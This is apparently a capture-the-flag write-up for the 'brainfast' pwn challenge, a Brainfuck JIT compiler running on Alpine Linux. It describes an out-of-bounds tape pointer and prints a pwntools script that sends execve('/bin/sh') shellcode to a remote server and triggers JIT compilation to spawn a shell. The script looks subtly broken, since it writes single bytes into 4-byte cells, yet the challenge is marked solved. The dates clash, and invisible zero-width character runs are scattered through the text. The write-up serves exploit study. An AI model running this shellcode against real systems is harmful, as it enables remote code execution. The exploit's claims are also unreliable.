← Back to Writeups
CUSTOMMediumpwn

hxp 39C3 CTF - brainfast

XESXOR9/2/20264 min read
#pwn#custom#medium#na#linux

hxp 39C3 CTF - brainfast

Platform: hxp_39c3 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-28 | Status: Solved Techniques: NA

Summary

Task: exploit a Brainfuck JIT compiler running on Alpine Linux (musl libc). Solution: leverage the out-of-bounds pointer access (initial pointer is outside the tape) to write shellcode into memory where the JIT buffer will be allocated, then trigger JIT compilation to execute it.

hxp 39C3 CTF - brainfast

Category: PWN
Points: ?
Solves: ?
Event: hxp 39C3 CTF 2024

Challenge Description

Brainfuck JIT compiler running on Alpine Linux (musl libc).

Files

  • vuln - Main binary (PIE, Canary, NX, Full RELRO)
  • snippets.so - Shared library with code snippets
  • ynetd - Network wrapper

Analysis

Memory Layout

The program sets up a specific memory layout:

munmap(0x6e0000000000, 0x10000000000)  // Clear 1TB region
mmap(0x6efffffff000, 0x1000, RW, MAP_FIXED_NOREPLACE)  // Create tape
initial_pointer = tape - 0x2000 = 0x6effffffd000

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Brainfuck Operations

  • < - Add 4 to pointer (move to higher address)
  • > - Subtract 4 from pointer (move to lower address)
  • + - Increment cell value
  • - - Decrement cell value
  • . - Print low byte of cell (calls putchar)
  • , - Read byte into cell (calls getchar)
  • [ - Start loop (skip if cell is 0)
  • ] - End loop (jump back if cell is non-zero)

JIT Compilation

Loops are JIT compiled after 4 iterations:

  1. mmap(NULL, 0x1000, PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS) - Allocate JIT buffer
  2. Copy snippets from snippets.so to JIT buffer
  3. hsearch(ENTER) - Store in hash table
  4. mprotect(jit, 0x1000, PROT_READ|PROT_EXEC) - Make executable
  5. Call JIT code ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Snippets Structure

The snippets are stored in DATA sections of snippets.so:

move_left  (0x2000): add qword [rdi], 4
move_right (0x2004): sub qword [rdi], 4
increment  (0x2008): mov rax,[rdi]; inc dword [rax]
decrement  (0x200d): mov rax,[rdi]; dec dword [rax]
io_out     (0x2012): push rdi; mov rdi,[rdi]; mov rdi,[rdi]; movabs rax,<putchar>; call rax; pop rdi
io_in      (0x2026): push rdi; movabs rax,<getchar>; call rax; pop rdi; mov rsi,[rdi]; mov [rsi],eax
compare    (0x2039): mov rax,[rdi]; test dword [rax],-1; setne al; movzx eax,al; ret
trap_nz    (0x2049): mov rax,[rdi]; test dword [rax],-1; je end; movabs rax,<trap>; jmp rax

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observation: io_out, io_in, and trap_nz contain absolute addresses that are resolved at load time.

Vulnerability

OOB Access

The initial pointer is set to tape - 0x2000, which is OUTSIDE the tape! The program doesn't properly validate pointer bounds, allowing OOB read/write.

Accessible range:

  • Below initial pointer: ~0x3000 bytes (0xbf5 cells)
  • Above initial pointer: ~0x3fc40 bytes (0xff10 cells)

Memory Above Tape

We can access ~0x3cc40 bytes above the tape end (0x6f0000000000). This memory exists and is accessible, suggesting something is mapped there. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

On musl/Alpine, mmap(NULL) may allocate memory in this region!

Exploit Strategy

Approach 1: Pre-write Attack

  1. Write shellcode to where JIT buffer will be allocated
  2. Trigger JIT compilation
  3. If JIT buffer overlaps with our shellcode, it executes

Approach 2: Hash Table Corruption

  1. Find hsearch hash table in accessible memory
  2. Corrupt an entry to point to controlled address
  3. When hsearch(FIND) returns our fake entry, JIT pointer is hijacked

Approach 3: Snippets Modification

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. If snippets.so is in accessible memory, modify absolute addresses
  2. Change putchar to system, etc.
  3. Trigger JIT compilation with . operation
  4. JIT code calls our modified address

Exploit Code

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

HOST = '46.224.122.168'
PORT = 1337

TAPE_START_CELLS = 0x800
TAPE_END_CELLS = 0xc00

def move_left(n): return '<' * n
def move_right(n): return '>' * n
def inc(n=1): return '+' * n
def dec(n=1): return '-' * n

def set_value(val):
    val = val & 0xff
    if val > 128:
        return dec(256 - val)
    return inc(val)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def write_bytes_at(offset, data):
    bf = move_left(offset) if offset > 0 else move_right(-offset)
    for i, byte in enumerate(data):
        bf += set_value(byte)
        if i < len(data) - 1:
            bf += move_left(1)
    return bf

def trigger_jit():
    bf = move_left(TAPE_START_CELLS)
    bf += '+[-]' * 4
    return bf

# Shellcode
shellcode = asm('''
    xor rsi, rsi
    xor rdx, rdx
    push rsi
    mov rdi, 0x68732f6e69622f
    push rdi
    mov rdi, rsp
    mov al, 59
    syscall
''')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

p = remote(HOST, PORT)
p.recvuntil(b'> ')

# Write shellcode above tape
for offset in range(TAPE_END_CELLS, TAPE_END_CELLS + 0x400, 0x100):
    bf = write_bytes_at(offset, shellcode)
    p.sendline(bf.encode())
    p.recvuntil(b'> ')

# Trigger JIT
p.sendline(trigger_jit().encode())
p.interactive()

Notes

  • The challenge exploits the interaction between musl's mmap behavior and the OOB vulnerability
  • Alpine Linux uses musl libc which has different memory allocation patterns than glibc
  • The hint "Alpine Linux helps to keep things lightweight" refers to musl's simpler memory layout ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References